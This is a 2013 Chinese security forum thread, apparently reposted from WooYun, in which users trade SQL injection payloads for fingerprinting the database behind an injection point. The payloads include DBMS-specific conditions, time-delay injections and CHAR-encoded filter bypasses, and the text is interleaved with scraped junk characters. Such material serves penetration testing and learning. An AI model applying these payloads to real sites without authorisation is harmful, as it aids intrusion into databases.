找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1886|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库' ~. ]1 t( h* Q( v1 j" H- f7 C
xsser (十根阳具有长短!!) | 2013-02-05 12:36
. i; P% x# U7 Z: u, c假设这么一个注射点:
* v& C- q3 ^  O: cshow.html?id=2
4 X2 A- G! r' E. j+ `! tmysql:id=2 and version()>0
5 \, r) t' E3 @8 K) ~5 |: uoracle:id=2 and '1'||'1'='11
" P+ ~0 A8 }7 z+ H0 G# U: c5 w7 X其他的欢迎补充
  b7 x. q4 S" A  k' S2 r& ?2 W: w1#
1 d+ K+ W: v) N( Y. L) R' Supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
2 t* `' P" X' I# `' D, x( L9 C# \Access:9 d2 {/ [+ }# W2 k
aNd aSc(cHr(97))=977 R9 C4 _& l$ V
and exists(select id from MSysAccessObjects)0 Q& k  ^( B+ F' t! A" z
SQL Server:' i  H" M9 v6 x  W
and exists(select id from sysobjects); O( s& c4 W3 x5 ^% I
and length(user)>0
/ t2 V6 }( a' g. _) d# c4 D: P( UMySQL:) b9 i  o2 w% ^6 ]" D
and length(user())>0
- D, R" Q3 p( I9 t/ `( j2#
5 P, ^7 V+ J% i2 ]  Z6 Yxsser (十根阳具有长短!!) | 2013-02-05 12:48' V2 C' t8 s* P6 S' z3 ?
@upload 如果这些都不是呢…9 x- c9 k  H$ U% n5 z* o
3#
4 J+ O9 B7 j( [7 oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03, W9 V$ g" n: G2 ~* {  D
@xsser 不快速的,延时注入
$ C9 g; I' O, Q: u6 k不知道这样写对不对' c! d3 u4 ], Y
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'# L0 s! g) o, N6 s
mysql:id=2 and select benchmark(1e8,current_date());' R8 v0 t$ w4 c0 ^- x. F) Q
4#
. |# A; Y0 \! \* f* \8 Nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
& K! A% h8 i9 Q/ K" G最快的貌似是看报错信息3 a1 p7 }* S' b1 v
oracle error
% x- p+ F* ~; Y. Tmssql error
2 Q$ G+ m7 ^/ ?: i/ M1 H( _mysql error
; J1 s9 e  U3 c1 @5#
  ]9 {7 E* e% S2 K2 INimda (你们都是坏银~) | 2013-02-05 13:147 ]3 R6 r4 ^  _% f9 t8 q* V3 L5 ^3 @
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)/ f' r1 X1 i, L( `* a- R# R0 N
6#
* c" D7 V: Z! R1 C- pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:213 |. T  Y. r; L5 W
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
) f+ n$ w' t6 P7 L$ {  A/ _“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
' |  S: ]5 ^( @8 j“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
2 M$ b$ ?6 Q' c3 m+ J7#; D% ?& c0 _$ a- N5 _6 N' i
_Evil (HackEnd) | 2013-02-05 13:33: L* R2 ]+ u% s- Q" G
PostgreSQL4 E2 `# o  H% i7 |% p3 ~& _
8#
  Y& P* _6 w5 K7 j5 T' Supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42) k. f' t1 C$ l% Z# d$ e  q
切换编码 and 1=1; Q' j/ p5 }" C' b7 L/ X& ]; r4 R
oracle:
7 b8 y# G6 T0 oCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)' ]  N; R8 y" I4 {/ a/ {
mssql:
$ l/ f- i+ X. y( W/ \CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
5 v" u) g9 P2 O! Ymysql:
- p9 s1 y# L' v+ P* R8 o) rCHAR(97, 110, 100, 32, 49, 61, 49)0 U+ i& i3 ^8 S1 C
9#
! Q, V& I* {7 R2 V% [# h0 Uxsser (十根阳具有长短!!) | 2013-02-05 14:31
" S* X( t% x' i@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?/ x" @9 N6 _( f
10#
7 g& y" g. m" x" p8 a! P* y  b+ jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:460 t2 i, M2 u- s% R, y
@xsser 是奇葩数据库类型的么?5 Q; f2 W7 U) {
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:) y  i: [2 f) n* s4 G- w" i5 @
1.是否可以使用特定的函数来判断,该数据库特有的' L$ C) T1 r; t! _' S6 O
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
& X4 b! p5 [  @9 u% E4 P# v4 @0 ]3.是否可以编码查询: r+ x6 N9 M* E* ^1 _
4.是否显可以利用错信息  d- T% a" ^: ?' k/ d% v5 @
5.是否存在数据库某些特性辅助判断
- f( Z% r/ }' k1 j1 J+ h个人见解% T! ~+ D- Z. ?
11#8 g) C0 a; L% F5 l
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
! G+ r) m) j, ~1 |9 D9 x* w已收藏,mssql可以直接看到错误提示的吧~# k4 l) F: Q( }+ k2 R: ]
12#2 Y' n: c. h6 W9 n0 V' g
Passer_by | 2013-02-05 15:09) X# i8 ^0 i$ v( }
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
# T! |: O- C' @from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表